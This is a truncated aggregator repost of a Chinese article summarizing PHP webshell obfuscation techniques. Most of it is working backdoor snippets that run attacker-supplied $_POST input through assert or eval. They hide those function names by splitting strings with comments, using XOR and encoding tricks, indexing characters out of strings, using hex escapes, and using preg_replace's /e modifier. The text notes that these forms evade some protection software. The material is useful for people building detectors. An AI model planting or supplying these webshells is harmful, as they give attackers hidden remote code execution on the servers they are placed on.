专栏名称: 蚂蚁金服ProtoTeam
数据前端团队
目录
相关文章推荐
山东环境  ·  2025年全国“安全生产月”公益广告 ·  20 小时前  
山东环境  ·  2025年全国“安全生产月”公益广告 ·  20 小时前  
宝山消防支队  ·  以案为例 |《动火作业要注意》 ·  20 小时前  
宝山消防支队  ·  以案为例 |《动火作业要注意》 ·  20 小时前  
程序员好物馆  ·  Tailwind 是技术债务:组件化 ... ·  昨天  
程序员好物馆  ·  Tailwind 是技术债务:组件化 ... ·  昨天  
前端早读课  ·  【图书】Cursor与Copilot开发实战 ... ·  2 天前  
51好读  ›  专栏  ›  蚂蚁金服ProtoTeam

PHP WebShell变形技术总结

蚂蚁金服ProtoTeam  · 掘金  · 前端  · 2017-12-08 06:42

正文

请到「今天看啥」查看全文


利用注释

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。

异或运算&字符编码

这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。

$y=~督耽孩^'(1987)';
$y($_POST[1987]);

上述的代码需要以 GBK 的方式保存,其中的 $y 的值为 assert ,这样就是一个典型的webshell了。

还有如下这种:

$x=~Ÿ¬¬º­«;
$x($_POST[~¹¹ÏÏÏÏ]);

上述的代码需要以 ISO-8859-15 保存,其中的 $x assert ,而 ~¹¹ÏÏÏÏ FF0000 。即使是这种方式,部分的防护软件还是能够识别。

eval&base64_decode变形

通过对大量的webshell分析,发现很多的webshell其实都是 eval(base64_decode($_POST[cmd])) 这种方式的变形。变形的核心思想其实就是将 base64_decode $_POST 隐藏。下面就对这几种变形的方法进行说明。

字符串&数组的方式

这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。如下:

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
    eval($s21($s22));
}

通过字符串 PCT4BA6ODSE_ 得到, $s21 base64_decode , $s22 ${"_POST"}['n985de9'] ,所以这种方式最后的代码其实就是 eval(base64_decode($_POST['n985de9']));

进制转换

这种方式在webshell中也是比较常见的。

$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....

其中 $v230c590 就是 base64_decode ,通过十六进制和八进制混用的方式代替 base64_decode 。还有如下这种形式

$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);

其中 \x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 其实为 eval(gzuncompress(base64_decode( 也达到了隐藏敏感函数的目的。

反序列化执行

通过序列化的方式,我们也能够执行webshell。







请到「今天看啥」查看全文